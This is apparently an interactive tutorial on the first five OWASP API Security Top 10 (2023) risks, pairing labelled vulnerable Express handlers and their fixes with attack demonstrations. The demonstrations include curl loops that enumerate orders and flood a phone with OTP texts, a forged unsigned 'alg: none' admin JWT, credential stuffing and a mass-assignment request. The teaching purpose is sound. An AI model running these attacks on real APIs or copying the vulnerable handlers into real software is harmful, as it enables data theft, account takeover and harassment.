API1

Broken Object Level Authorization

APIs tend to expose endpoints that handle object identifiers — orders, invoices, profiles — creating a wide attack surface. An object level authorization check should exist on every function that accesses a data source using an ID supplied by the client.

Critical Severity #1 in the API Security Top 10 (2023) Formerly known as IDOR
Step 1

The Normal Flow

A food-delivery customer checks the status of their own order. Everything looks fine on the surface.

https://api.foodrunner.com/v2/orders/8841
#8841

Order #8841 — Out for delivery

Alice's Home Kitchen → 22 Jalan Besar

Customer: You

Total: $18.40

Network Console
NameStatusTypeSize
GET /v2/orders/8841 200 json 311 B
{
  "id": 8841,
  "customer_name": "You",
  "delivery_address": "22 Jalan Besar, #04-11",
  "phone": "+65 9***3210",
  "status": "out_for_delivery",
  "payment": { "card_last4": "4242" }
}
Step 2

The Vulnerable Code

The orders endpoint trusts whatever ID is in the URL — it never checks who actually placed that order.

routes/orders.js Node.js / Express
// GET /v2/orders/:id
app.get('/v2/orders/:id', authenticateToken, async (req, res) => {
  // ❌ No check: does req.user own this order?
  // ❌ Any authenticated user can request any order ID

  const order = await db.query(
    'SELECT * FROM orders WHERE id = $1',
    [req.params.id]
  );

  // ❌ Returns every column, including PII (Personally Identifiable Information)
  res.json(order);
});
What's wrong here (BOLA — Broken Object Level Authorization):
  • The route accepts any order ID from an authenticated, but otherwise arbitrary, user
  • There's no object-level check — it never verifies the requester is the customer (or courier) tied to this order
  • Being logged in is treated as being authorized — those are two different things
  • Sequential integer IDs make every other order trivially guessable
Also known as IDOR (Insecure Direct Object Reference). BOLA is the API Security Top 10's name for the same root cause: an object referenced directly by ID, with no ownership check behind it.
Why it's #1 on this list: almost every API exposes object identifiers in URLs, query strings or request bodies. That gives BOLA the widest attack surface of any category — and it requires no special tooling to find, just a browser or curl.
Step 3

The Attack

The attacker notices the order ID in the URL and simply changes it. No special tools needed — just DevTools or curl.

Console
> fetch('/v2/orders/8842', {headers:{Authorization:'Bearer <my_own_token>'}}).then(r=>r.json()).then(console.log)
▶ {
  id: 8842,
  customer_name: "Marcus Tan",   ← Not our order!
  delivery_address: "17 Tiong Bahru Rd, #12-04",
  phone: "+65 9123 4567",        ← Full PII leaked
  status: "out_for_delivery",
  payment: { card_last4: "7731" }
}
↑ The attacker's own valid token was reused — only the order ID in the URL changed. The server never asked "does this token belong to order 8842?"
Enumerate every order (attacker script)
# One valid token + a for loop = the entire orders table
for id in $(seq 1 50000); do
  curl -s "https://api.foodrunner.com/v2/orders/${id}" \
    -H "Authorization: Bearer $MY_OWN_TOKEN" >> dump.jsonl
done

# Result: 50,000 names, home addresses, phone numbers, card fragments
# Total time: a few minutes on a residential connection
# Tools required: curl + a for loop — the same "attacker" is a paying customer
Scale of damage: one missing ownership check plus sequential IDs equals full-database enumeration — by someone who never needed to "hack" anything, just change a number.
Step 4

The Impact

What the attacker now has — and what it means for real people and the business.

orders table — All records reachable by ID
idcustomer_nameaddressphonecard
8841You22 Jalan Besar9***32104242
8842Marcus Tan17 Tiong Bahru Rd9123 45677731
8843Priya Nair88 Serangoon Ave 38812 90915510
8844David Lim5 Punggol Walk9722 11453389
... 49,996 more rows ...
Row 8841 (highlighted) is the attacker's own order. Every other row — full name, home address, phone — was pulled with the same request, just a different number.

What happens once home addresses and order histories reach someone who shouldn't have them.

Physical Safety Risk

Home addresses + delivery times tell an attacker exactly when someone isn't home

Fraud

Card fragments plus name and address help attackers pass "verification" checks elsewhere

Regulatory Fines

GDPR (General Data Protection Regulation): up to €20M or 4% of global revenue

Reputation Damage

One enumerable endpoint becomes the headline: "Everyone's orders were public"

!
USPS (2018) — "Informed Visibility" IDOR

Any logged-in user of USPS's Informed Visibility tool could query any other user's account data just by changing an ID in the request — no ownership check at all. Around 60 million accounts were affected.

Source: Krebs on Security

!
Parler (2021) — Sequential Post IDs, No Auth

In the days after the January 6 Capitol riot, a researcher was able to scrape essentially the entire platform — including deleted posts and their embedded location metadata — because posts were numbered sequentially and reachable with no authentication at all.

Source: Wikipedia

Step 5

The Fix

Check ownership on every object access, minimise what's returned, and stop making IDs guessable.

routes/orders.js SECURED
app.get('/v2/orders/:id', authenticateToken, async (req, res) => {
  const order = await db.query(
    'SELECT * FROM orders WHERE id = $1',
    [req.params.id]
  );
  if (!order) return res.status(404).json({ error: 'Not found' });

  // ✅ Object-level check: does this order belong to the requester,
  //    or are they the assigned courier / an admin?
  const isOwner = order.customer_id === req.user.id;
  const isCourier = order.courier_id === req.user.id;
  if (!isOwner && !isCourier && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }

  // ✅ Return only a DTO (Data Transfer Object) — never the raw row
  res.json({
    id: order.id,
    status: order.status,
    address: isOwner ? order.delivery_address : undefined,
  });
});
1
Authenticated is not the same as authorized

A valid token proves who is asking, not what they're allowed to touch.

2
Check ownership on every object access

Do it in a shared middleware or policy layer, not copy-pasted per route — that's how checks get forgotten.

3
Use non-sequential identifiers

UUIDs (Universally Unique Identifiers) are far harder to enumerate than 1, 2, 3... — though they're not a substitute for a real authorization check.

4
Minimise what a response returns

Use DTOs (Data Transfer Objects), not raw database rows — a field that's never returned can't be leaked.

5
Test authorization with automated tools

Write tests that assert User A can never fetch User B's objects — run them on every build.

6
Log and alert on repeated 403s

A burst of "forbidden" responses from one token is a strong signal of ID enumeration.

Step 1 of 5
API2

Broken Authentication

Authentication mechanisms are often implemented incorrectly, letting attackers compromise tokens or exploit flawed logic to assume other users' identities — temporarily or permanently. If an API can't reliably answer "who is actually asking?", every other control built on top of that answer is compromised too.

Critical Severity #2 in the API Security Top 10 (2023)
Step 1

The Normal Flow

A customer logs into a mobile banking app. The API checks their password and hands back a JWT (JSON Web Token) to prove who they are on every request that follows.

🔒https://api.securebank.com/auth/login
alice@example.com
••••••••••••

✅ Signed in as alice@example.com

Network Console
NameStatusTypeSize
POST /auth/login 200 json 428 B
Response body
{
  "token": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyXzQ0NzEi...",
  "expires_in": 3600
}
Decoded JWT (header.payload)
{ "alg": "HS256", "typ": "JWT" }
.
{ "sub": "user_4471", "role": "user", "iat": 1710000000 }
Step 2

The Vulnerable Code

The token-verification code trusts whatever algorithm the JWT itself claims to use, never checks expiry, and the login route has no throttling or MFA.

middleware/authenticateToken.js Node.js / Express
const jwt = require('jsonwebtoken');

function authenticateToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  const decoded = jwt.decode(token, { complete: true });

  // ❌ Trusts the "alg" the token claims, instead of pinning one server-side
  const alg = decoded.header.alg;

  if (alg === 'none') {
    // ❌ "none" means there is no signature at all — accepted anyway
    req.user = decoded.payload;
    return next();
  }

  const verified = jwt.verify(token, SECRET, { algorithms: [alg] });

  // ❌ verified.exp is never checked — a token minted a year ago still works
  req.user = verified;
  next();
}

// POST /auth/login — no rate limiting, no MFA (Multi-Factor Authentication)
app.post('/auth/login', async (req, res) => {
  // ❌ Unlimited attempts per second, from any IP, forever
  const user = await db.findByEmail(req.body.email);
  if (user && await bcrypt.compare(req.body.password, user.hash)) {
    return res.json({ token: signToken(user), expires_in: 3600 });
  }
  res.status(401).json({ error: 'Invalid credentials' });
});
What's wrong with the token handling:
  • The verifier reads alg from the token's own header instead of requiring a specific algorithm chosen by the server
  • Setting "alg": "none" means "no signature" — a client can produce this token entirely by itself
  • Nothing checks the token's exp (expiry) claim, so a stolen or leaked token remains valid indefinitely
The login endpoint has no defenses either: no rate limiting on failed attempts, no account lockout, and no MFA option — so a leaked password list can be tried at machine speed with nothing slowing an attacker down.
What "Broken Authentication" covers: per OWASP, this category is broader than just passwords — token flaws (weak signing, no expiry), session flaws (predictable or non-revocable sessions), and credential flaws (no rate limiting, no MFA, weak reset flows) all fall under it, because each one breaks the API's ability to reliably identify who's asking.
Step 3

The Attack

Two independent paths in: forge a token that was never actually signed, or simply try leaked passwords until one works.

Console
> header = btoa('{"alg":"none","typ":"JWT"}')
> payload = btoa('{"sub":"user_4471","role":"admin"}')
> forged = header + '.' + payload + '.' // no signature segment at all
> fetch('/v2/admin/accounts', {headers:{Authorization:'Bearer ' + forged}}).then(r=>r.json()).then(console.log)
▶ 200 OK
{
  accounts: [ ...every customer account... ],
}                                 ← "alg: none" accepted, role: admin honored
↑ Nothing was ever cryptographically signed. The server read alg from the attacker's own header, saw "none", and skipped verification entirely.

No rate limiting and no MFA mean a leaked password list from an unrelated breach can just be replayed here.

Leaked credential list

alice@example.com:Summer2019! bob@example.com:P@ssw0rd + 2.9M more pairs
→ tried against /auth/login →
carol@example.com — wrong password
alice@example.com — ✅ matched (reused password)
dave@example.com — wrong password
bob@example.com — ✅ matched (reused password)
Why this works at all: people reuse passwords across services. With no rate limit, no lockout, and no MFA prompt, an attacker can test millions of pairs from someone else's breach against this login endpoint and simply keep whatever matches.
Step 4

The Impact

Once identity itself can be forged or brute-forced, every downstream control that assumed "logged in means legitimate" fails too.

What a forged or stolen identity actually buys an attacker once they're "logged in".

Account Takeover

Full control of a victim's account — read their data, change their settings, act as them

Financial Fraud

An admin-forged token or a stolen banking session can initiate transfers directly

Regulatory Fines

Weak authentication controls are a recurring finding in breach notification penalties

Reputational Damage

"Anyone could log in as anyone" is the kind of headline that ends customer trust

!
Uber (2022) — MFA Push-Bombing

An attacker who had bought a contractor's stolen credentials bombarded them with MFA (Multi-Factor Authentication) push notifications, then posed as IT support on Slack until the contractor approved one — gaining a foothold that reportedly led to broad internal access, later attributed to the Lapsus$ group.

Source: Wikipedia

!
Colonial Pipeline (2021) — One Password, No MFA

Attackers got in through a single compromised VPN password for an account that had no MFA enabled, on a VPN profile the company believed was no longer in use. The resulting ransomware shutdown led to fuel shortages across the US East Coast.

Sources: Wikipedia, BBC

Step 5

The Fix

Pin the algorithm server-side, enforce expiry, throttle logins, and require MFA — never trust a token to describe its own trustworthiness.

middleware/authenticateToken.js SECURED
const jwt = require('jsonwebtoken');
const rateLimit = require('express-rate-limit');

function authenticateToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  try {
    // ✅ Algorithm is pinned server-side — the token's own header is ignored
    const verified = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
    // ✅ jwt.verify() already rejects an expired "exp" claim by default
    req.user = verified;
    next();
  } catch (err) {
    return res.status(401).json({ error: 'Invalid or expired token' });
  }
}

// ✅ Rate limit + lockout on the login route itself
const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });

app.post('/auth/login', loginLimiter, async (req, res) => {
  const user = await db.findByEmail(req.body.email);
  if (!user || !await bcrypt.compare(req.body.password, user.hash)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // ✅ Require a second factor before issuing a full-access token
  if (user.mfaEnabled && !verifyMfaCode(req.body.mfaCode, user)) {
    return res.status(401).json({ error: 'MFA required' });
  }

  res.json({ token: signToken(user, { expiresIn: '15m' }), expires_in: 900 });
});
1
Pin the algorithm server-side

Never let a token's own header decide how it gets verified — the server should demand one specific algorithm and reject anything else.

2
Enforce short token expiry, use refresh tokens

A short-lived access token limits how long a stolen one stays useful; a separate refresh token handles staying logged in.

3
Rate-limit and lock out repeated failed logins

Slow down or block an IP or account after a handful of failures — that alone defeats most credential stuffing.

4
Require MFA, especially for sensitive actions

A second factor means a leaked password alone is no longer enough to take over an account.

5
Never roll your own crypto or auth

Use vetted, actively-maintained libraries for signing and verifying tokens — this class of bug is exactly what they've already fixed once.

6
Monitor for anomalous login patterns

Impossible-travel logins, sudden spikes in failed attempts, or logins from new devices are strong signals worth alerting on.

Step 1 of 5
API3

Broken Object Property Level Authorization

This category merges two former ones: exposing more object properties in a response than the client actually needs, and accepting more properties in a request than the client should be allowed to set. Both share the same root cause — authorization checked at the level of "is this a valid object," never at the level of individual object properties.

Critical Severity #3 in the API Security Top 10 (2023) Merges Excessive Data Exposure + Mass Assignment
Step 1

The Normal Flow

A user of a social fitness app edits their display name in Settings. A small, everyday update.

https://app.fitpulse.com/settings/profile
Alex
Marathon training, 5 days a week 🏃

✅ Profile updated

Network Console
NameStatusTypeSize
PATCH /api/users/501/profile 200 json 28 B
// Request body — only what the form actually shows
{
  "display_name": "Alex"
}
GET /api/users/501/profile 200 json 412 B
// Response body — the UI only renders two of these fields
{
  "id": 501,
  "display_name": "Alex",
  "bio": "Marathon training, 5 days a week",
  "avatar_url": "/img/avatars/501.png",
  "email": "alex@example.com",
  "password_hash": "$2b$12$Kj9x...",
  "is_admin": false,
  "is_verified": true,
  "internal_notes": "Flagged for refund dispute, 2025-11",
  "stripe_customer_id": "cus_QW8f2kd9"
}
The form only shows Display Name and Bio — but the server sent back everything in the row. Nothing looks broken yet, because the client UI simply never renders the rest.
Step 2

The Vulnerable Code

Two flaws in the same handler pair: the read side sends back the whole row, and the write side accepts the whole request body.

routes/profile.js Node.js / Express
// GET /api/users/:id/profile
app.get('/api/users/:id/profile', authenticateToken, async (req, res) => {
  const user = await db.users.findById(req.params.id);

  // ❌ Serializes the entire row — every column, no allowlist
  res.json(user);
});

// PATCH /api/users/:id/profile
app.patch('/api/users/:id/profile', authenticateToken, async (req, res) => {
  const user = await db.users.findById(req.params.id);

  // ❌ Mass assignment: every key in req.body is written straight
  //    onto the model, with no check on which fields are editable
  Object.assign(user, req.body);
  await user.save();

  res.json(user);
});
Flaw 1 — Excessive Data Exposure (the read direction):
  • res.json(user) hands back the raw database row, including password_hash, is_admin, internal_notes, and stripe_customer_id
  • The client app just never displays those fields — but the data left the server and is sitting in the browser's network tab
  • "The UI doesn't show it" is not the same as "the API doesn't return it"
Flaw 2 — Mass Assignment (the write direction):
  • Object.assign(user, req.body) writes every key the client sent, not just the ones the settings form offers
  • There is no allowlist of which properties a client is actually permitted to set
  • A field with no UI control for it — role, is_verified — is still perfectly writable over the API
Why OWASP merged these into one 2023 category: both flaws are the exact same root cause looked at from two directions. The server checks "is this a valid user object to read or write?" but never asks "is this specific property one this client should be able to read or write?" One missing layer of authorization, two different symptoms.
Step 3

The Attack

The same endpoint pair, worked in both directions: read whatever wasn't meant to be seen, write whatever wasn't meant to be set.

Console
> fetch('/api/users/501/profile', {headers:{Authorization:'Bearer <my_own_token>'}}).then(r=>r.json()).then(console.log)
▶ {
  id: 501,
  display_name: "Alex",
  bio: "Marathon training, 5 days a week",
  avatar_url: "/img/avatars/501.png",
  email: "alex@example.com",
  password_hash: "$2b$12$Kj9x...",   ← crackable offline
  is_admin: false,
  is_verified: true,
  internal_notes: "Flagged for refund dispute, 2025-11",
  stripe_customer_id: "cus_QW8f2kd9"  ← billing/PII pivot
}
↑ Nothing here required a special exploit — just reading the same response the settings page already receives, but in the network tab instead of the UI.
Console
> fetch('/api/users/501/profile', {method:'PATCH', headers:{Authorization:'Bearer <my_own_token>', 'Content-Type':'application/json'}, body: JSON.stringify({display_name:'Alex', role:'admin', is_verified:true})}).then(r=>r.json()).then(console.log)
▶ {
  id: 501,
  display_name: "Alex",
  role: "admin",        ← no UI button sets this — the API just accepted it
  is_verified: true,
  ...
}
↑ role and is_verified aren't on the settings form anywhere — but the PATCH handler never checked which fields it should accept, only that the JSON was well-formed.
Step 4

The Impact

A one-line "just assign the body" habit can hand out admin access as easily as it leaks a password hash.

Two directions of the same flaw, four very different kinds of damage.

Privilege Escalation

An ordinary user sets role: "admin" on their own account and walks straight into admin tooling

Credential Exposure

password_hash leaked in a JSON response is a free input for offline cracking attempts

Billing & PII Exposure

stripe_customer_id ties a profile straight to a real billing account elsewhere

Regulatory Exposure

Internal notes and identifiers leaking to end users is exactly the kind of finding a data-protection audit flags first

!
Venmo — Public-By-Default Transactions

Venmo's API returned a public feed of transactions by default — who paid whom, and the message attached, though not the amount. Years of research, including a widely-cited public dataset of roughly 207 million transactions compiled from the API, showed most users never knew this data was exposed or how to turn it off.

Source: Wikipedia

!
Peloton (2021) — Private Profile Fields, Public API

Security researchers found Peloton's API would return a user's age, gender, city, weight and workout history even when their profile was explicitly set to private — the privacy setting was only enforced in the app's UI, not on the API's own fields. Peloton fixed it after responsible disclosure.

Step 5

The Fix

Allowlist properties explicitly on both sides — what a client can read, and separately, what a client can write.

routes/profile.js SECURED
// GET /api/users/:id/profile
app.get('/api/users/:id/profile', authenticateToken, async (req, res) => {
  const user = await db.users.findById(req.params.id);
  if (!user) return res.status(404).json({ error: 'Not found' });

  // ✅ Explicit read allowlist — a DTO (Data Transfer Object), not the raw row
  res.json({
    id: user.id,
    display_name: user.display_name,
    bio: user.bio,
    avatar_url: user.avatar_url,
  });
});

// PATCH /api/users/:id/profile
app.patch('/api/users/:id/profile', authenticateToken, async (req, res) => {
  const user = await db.users.findById(req.params.id);
  if (!user) return res.status(404).json({ error: 'Not found' });

  // ✅ Explicit write allowlist — only these two fields are ever settable,
  //    no matter what else the request body contains
  const { display_name, bio } = req.body;
  if (display_name !== undefined) user.display_name = display_name;
  if (bio !== undefined) user.bio = bio;
  await user.save();

  res.json({ id: user.id, display_name: user.display_name, bio: user.bio });
});
1
Allowlist properties, don't blocklist them

Name exactly which fields are readable and which are writable — a blocklist only stops the fields someone already thought of.

2
Never bind a raw request body onto a model

Object.assign(model, req.body) and ORM (Object-Relational Mapping) calls like .update(req.body) hand the client the same power as your own server code.

3
Use separate DTOs for reads and writes

"What a client can see" and "what a client can change" are different questions, with different — and usually smaller — answer sets.

4
Treat every new model field as a decision, not a default

Adding a column shouldn't silently make it readable or writable over the API — exposure has to be opted in.

5
Validate with schemas that reject unknown properties

Libraries that fail closed on an unexpected key catch mass-assignment attempts before they ever reach the model.

6
Code-review every PATCH/PUT that accepts a full object

Any handler that takes a whole request body and writes it wholesale is worth a second look before it ships anywhere.

Step 1 of 5
API4

Unrestricted Resource Consumption

Answering an API request costs real resources — network bandwidth, CPU, memory, storage, and pay-per-use services like SMS, email, or biometric checks billed by a third-party provider. Any endpoint with no ceiling on how much of that it will spend, per request or per client, is an open invitation to run up the bill or take the service down.

High Severity #4 in the API Security Top 10 (2023) Formerly "Lack of Resources & Rate Limiting"
Step 1

The Normal Flow

A new user signs up and asks for a one-time passcode to verify their phone number. The code arrives by SMS a second later.

https://app.shoprunner.com/signup
+65 9123 4567

Code sent! Check your phone for the 6-digit passcode.

Network Console
NameStatusTypeSize
POST /api/auth/send-otp 200 json 44 B
{
  "success": true,
  "message": "OTP sent",
  "expires_in": 300
}
↑ Behind this 200 response, the server just paid its SMS provider roughly $0.02 to deliver that code — billed per message, win or lose.
Step 2

The Vulnerable Code

Two endpoints, two flavours of the same mistake: neither one puts a ceiling on how much it's willing to spend.

routes/auth.js Node.js / Express
// POST /api/auth/send-otp
app.post('/api/auth/send-otp', async (req, res) => {
  const { phone } = req.body;

  // ❌ No rate limit per phone number or per IP
  // ❌ No CAPTCHA — a script can call this as fast as it likes
  // ❌ No daily cap on how many codes one number can receive

  const otp = generateOtp();
  await redis.set(`otp:${phone}`, otp, 'EX', 300);
  await smsProvider.send(phone, `Your code is ${otp}`); // $0.02/msg

  res.json({ success: true, message: 'OTP sent' });
});
routes/reports.js Node.js / Express
// GET /api/reports/export?from=2015-01-01&to=2026-01-01
app.get('/api/reports/export', authenticateToken, async (req, res) => {
  const { from, to } = req.query;

  // ❌ No limit on date range, no pagination, no max row count
  const rows = await db.query(
    'SELECT * FROM transactions WHERE date BETWEEN $1 AND $2',
    [from, to]
  );

  res.json(rows); // ❌ Serializes the whole result set in one response
});
What's wrong with send-otp:
  • No limiter tied to the phone number — the same number can be texted thousands of times a minute
  • No limiter tied to the IP either, so even a naive "one request per second" cap is never hit
  • No CAPTCHA or proof-of-work standing between a script and a billable SMS send
  • No daily cap — the endpoint will happily keep spending the business's money all day
What's wrong with the export endpoint: from/to accept any date range the client sends, and the query has no LIMIT, no pagination cursor, and no maximum row count. A client asking for eleven years of data forces the server to load and JSON-serialize the entire table in memory.
OWASP's framing: APIs consume metered resources — CPU, memory, bandwidth, storage — and some endpoints also trigger pay-per-use third-party services like SMS, email, or biometric verification. Any endpoint that doesn't put an explicit ceiling on that consumption is a resource-exhaustion target, whether the goal is denial of service or simply running up the operational bill.
Step 3

The Attack

Two different ways to abuse the same lack of limits: one drains the SMS budget (or harasses a real person), the other just crashes the server.

Flood a phone number (attacker script)
# No CAPTCHA, no rate limit — just hammer the endpoint
for i in $(seq 1 5000); do
  curl -s -X POST https://app.shoprunner.com/api/auth/send-otp \
    -H "Content-Type: application/json" \
    -d '{"phone": "+65 9123 4567"}' &
done

# Result: the target's phone gets an SMS every few hundred milliseconds
# Same script, two payoffs: run up the SMS bill, or harass a real person
Two victims, one loop: point the loop at random numbers and it's pure cost abuse against the business. Point it at one person's number and it's a denial-of-service against them — their phone becomes unusable under a wall of texts.
Console
> fetch('/api/reports/export?from=2015-01-01&to=2026-01-01').then(r=>r.json())
▶ (pending...)
← eleven years, one request, no limit and no pagination
↑ One oversized date range and the server tries to load and serialize the entire transactions table into a single JSON response.
502 Bad Gateway — worker ran out of memory
FATAL ERROR: Reached heap limit Allocation failed
JavaScript heap out of memory
 1: 0x104a2 node::Abort()
 2: 0x104f8 v8::internal::V8::FatalProcessOutOfMemory()
 3: 0x10a1c v8::internal::Heap::FatalProcessOutOfMemory()

[app] worker pid 4821 killed (OOM)
[app] 40,231,884 rows serialized before crash
[app] queue depth: 312 requests waiting on a dead worker
Step 4

The Impact

What unrestricted consumption actually costs — in money, in uptime, and in real incidents where it happened.

Illustrative numbers for a single unthrottled signup flow left running for one bad afternoon.

50,000 fraudulent OTP requests sent
~$1,000 SMS provider bill run up
<10 min time it took to rack up that bill
22 min downtime while a crashed export worker restarted and the request queue drained
!
T-Mobile (2023) — Unthrottled Account API

An attacker queried a single API for over a month before detection, pulling data one account at a time with no effective rate limiting to slow them down or flag the pattern. About 37 million customer accounts were exposed.

Source: Krebs on Security

!
Snapchat "Find Friends" (2013) — Unlimited Lookups

Researchers showed Snapchat's Find Friends API would match phone numbers to usernames with no meaningful rate limit, letting them compile a database of 4.6 million usernames and phone numbers before Snapchat clamped it down.

Source: Wikipedia

Step 5

The Fix

Put an explicit, server-enforced ceiling on every resource an endpoint can consume — identity-aware, not just IP-based.

routes/auth.js SECURED
const otpLimiter = require('./middleware/otpRateLimiter');

app.post('/api/auth/send-otp',
  // ✅ Rate limit by phone number AND by IP, with exponential backoff
  otpLimiter({ keyBy: ['phone', 'ip'], backoff: 'exponential' }),
  // ✅ Require a solved CAPTCHA before an SMS is ever sent
  verifyCaptcha,
  async (req, res) => {
    const { phone } = req.body;

    // ✅ Hard daily cap per phone number, enforced server-side
    const sentToday = await redis.incr(`otp:count:${phone}:${todayKey()}`);
    if (sentToday > 5) {
      return res.status(429).json({ error: 'Daily OTP limit reached' });
    }

    const otp = generateOtp();
    await redis.set(`otp:${phone}`, otp, 'EX', 300);
    await smsProvider.send(phone, `Your code is ${otp}`);

    res.json({ success: true, message: 'OTP sent' });
});
routes/reports.js SECURED
// GET /api/reports/export?from=...&to=...&limit=...&cursor=...
const MAX_PAGE_SIZE = 500;

app.get('/api/reports/export', authenticateToken, async (req, res) => {
  // ✅ Clamp the requested page size — the client never controls the ceiling
  const limit = Math.min(parseInt(req.query.limit) || 100, MAX_PAGE_SIZE);
  const cursor = req.query.cursor || null;

  const rows = await db.query(
    'SELECT * FROM transactions WHERE date BETWEEN $1 AND $2 AND id > $3 ORDER BY id LIMIT $4',
    [req.query.from, req.query.to, cursor, limit]
  );

  res.json({ rows, next_cursor: rows.at(-1)?.id ?? null });
});
1
Put an explicit ceiling on every resource

Records returned, file size, execution time, request body size — if it's not capped, assume a client will eventually push it to infinity.

2
Rate-limit by identity, not just by IP

IPs are shared behind NAT and CGNAT, and trivially spoofed or rotated — key limits off the account, API key, or phone number as well.

3
Treat pay-per-use third-party calls as a cost center

SMS, email, and biometric verification are billed per call — give each one its own budget, quota, and alerting.

4
Require proof-of-work before expensive actions

A CAPTCHA (or equivalent) in front of anything that costs money or compute per call filters out the scripts that abuse it.

5
Monitor cost anomalies as a security signal

A sudden spike in the SMS bill or database load isn't just an ops metric — it's often the earliest evidence of an attack in progress.

6
Enforce limits at the API gateway layer

Centralised rate limiting and payload caps can't be bypassed just because one route's developer forgot to add them.

Step 1 of 5
API5

Broken Function Level Authorization

Complex access policies spanning different roles, groups and hierarchies — with an unclear line between "admin" and "regular" functions — tend to produce authorization gaps. Exploiting them lets an attacker reach other users' resources, or functions meant only for administrators, simply by calling the right endpoint directly.

Critical Severity #5 in the API Security Top 10 (2023)
Step 1

The Normal Flow

A regular "member" of a SaaS admin dashboard logs in and sees exactly the actions their role is meant to have.

https://dash.cloudsuite.io/app/dashboard

Welcome back, Jamie

Role: Member — Workspace: Acme Corp

My Profile
Team Directory
Usage Reports
Network Console
NameStatusTypeSize
GET /api/users/482 200 json 128 B
Response body
{
  "id": 482,
  "name": "Jamie Ong",
  "email": "jamie@acmecorp.com",
  "role": "member"
}
Step 2

The Vulnerable Code

Admin routes live under the same API, behind the same "are you logged in?" check — but nothing ever asks "are you an admin?"

routes/admin.js Node.js / Express
// Regular member routes — same router, same base path
app.get('/api/users/:id', authenticateToken, getUser);
app.patch('/api/users/:id', authenticateToken, updateOwnProfile);

// Admin-only routes — the frontend just never renders a button for these
app.delete('/api/admin/users/:id/delete', authenticateToken, deleteUser);
app.get('/api/admin/export-all-users', authenticateToken, exportAllUsers);
app.patch('/api/admin/settings', authenticateToken, updateWorkspaceSettings);

// ❌ authenticateToken only confirms a valid, logged-in session
// ❌ It never checks req.user.role before reaching any /api/admin/* handler
// ❌ Any member, viewer, or contractor account can call these directly
What's wrong here (BFLA — Broken Function Level Authorization):
  • authenticateToken proves a session is valid — it says nothing about what that session's role is allowed to do
  • The admin-only handlers never call a second check like requireRole('admin') before running
  • The "boundary" between member and admin functions exists only in the frontend, which simply doesn't render admin buttons for members
  • Anyone who discovers the URL — from the app's own JS bundle, an API doc, or a leaked Postman collection — can call it with their own, perfectly valid, non-admin token
BFLA vs. BOLA: BOLA (API1) is about which objects a valid function call can reach — order 8841 vs. 8842. BFLA is about which functions a caller can reach at all — a "delete user" or "export everyone" endpoint that shouldn't be callable by that role in the first place.
Why this is so common: it usually shows up when admin and regular endpoints are built on the same router with no role-check middleware applied consistently across it — each new admin route quietly inherits "logged in" as its only gate.
Step 3

The Attack

A logged-in member finds the admin path and just... calls it. Their own valid token is enough — no privilege escalation needed.

Console
> fetch('/api/admin/export-all-users', {headers:{Authorization:'Bearer <jamie_member_token>'}}).then(r=>r.json()).then(console.log)
▶ 200 OK
{
  exported: 14203,
  users: [ { id: 1, name: "...", email: "...", role: "..." }, ... ]
}                                 ← Jamie's token has role: "member", not "admin"
↑ The request used the exact same token from Step 1 — the one issued for a member's own dashboard. The server never asked "does this role get to call export-all-users?"
Discover admin routes (attacker script)
# Step 1: the frontend still has to know these URLs exist — grep the bundle
grep -oE '"/api/admin/[a-zA-Z0-9/_-]+"' main.bundle.js | sort -u

# Result:
"/api/admin/export-all-users"
"/api/admin/settings"
"/api/admin/users/:id/delete"

# Step 2: confirm each one with a regular, non-admin token
for path in export-all-users settings; do
  curl -s -o /dev/null -w "%{http_code} /api/admin/${path}\n" \
    "https://dash.cloudsuite.io/api/admin/${path}" \
    -H "Authorization: Bearer $MEMBER_TOKEN"
done

# 200 /api/admin/export-all-users   ← should have been 403
# 200 /api/admin/settings           ← should have been 403
Scale of damage: the frontend hiding a button was the only control. Anyone who can read the app's own JavaScript — every user, by definition — can find every admin URL it references.
Step 4

The Impact

What a regular account can now do once it's discovered it can call admin functions.

A single unguarded admin route can hand a regular account the same power as the platform owner.

Mass Data Export

Every user record in the workspace, pulled in a single authenticated call

Deletion & Tampering

Unauthorized accounts deleted, edited, or reassigned by someone who was never meant to touch them

Privilege & Config Changes

Workspace settings — including who else counts as an admin — rewritten from a member account

Regulatory & Reputational Fallout

A breach traced to "a normal user called an admin endpoint" is a hard one to explain to regulators

!
Facebook (2018) — "View As" Token Bug

A flaw in the "View As" preview feature let attackers generate valid access tokens for other people's accounts — tokens that, once obtained, worked with the same broad set of functions as the real owner's own session. Facebook forcibly logged out roughly 50 million accounts while it fixed it.

Source: Wikipedia

!
Twitter (2020) — Internal Admin Tool Abuse

Attackers social-engineered their way to credentials for an internal support tool that let staff manage any account. Functions in that tool — meant only for a small support team — were used to hijack a wave of high-profile verified accounts and run a Bitcoin scam.

Source: Wikipedia

Step 5

The Fix

Enforce role checks server-side, centrally, and by default — never let the frontend be the only thing standing between a member and an admin route.

routes/admin.js SECURED
// middleware/requireRole.js
function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!allowedRoles.includes(req.user.role)) {
      // ✅ Deny by default — unknown or insufficient role is always a 403
      return res.status(403).json({ error: 'Forbidden' });
    }
    next();
  };
}

// routes/admin.js
const adminRouter = express.Router();

// ✅ Applied once, centrally, to every route on this router — not per-handler
adminRouter.use(authenticateToken, requireRole('admin'));

adminRouter.delete('/users/:id/delete', deleteUser);
adminRouter.get('/export-all-users', exportAllUsers);
adminRouter.patch('/settings', updateWorkspaceSettings);

// ✅ Distinct, consistently-guarded path prefix for every admin function
app.use('/api/admin', adminRouter);
1
Never rely on the UI to hide a capability

Hiding a button stops confused users, not attackers — the server has to refuse the call, not just the frontend decline to render it.

2
Apply role checks centrally, not per-route

Wire requireRole() into the router or API gateway once — that way a new admin route inherits protection instead of needing someone to remember it.

3
Deny by default, allowlist explicitly

Every function should start from "no one may call this" and name exactly which roles are added back, rather than starting open and hoping nothing was missed.

4
Keep admin and regular functions under distinct, guarded prefixes

A consistent /api/admin/* boundary makes it possible to enforce one policy over an entire class of functions at once.

5
Test authorization, not just authentication

Write automated tests that assert a non-admin token gets a 403 on every admin route — run them on every build.

6
Log and alert on 403s hitting admin-prefixed paths

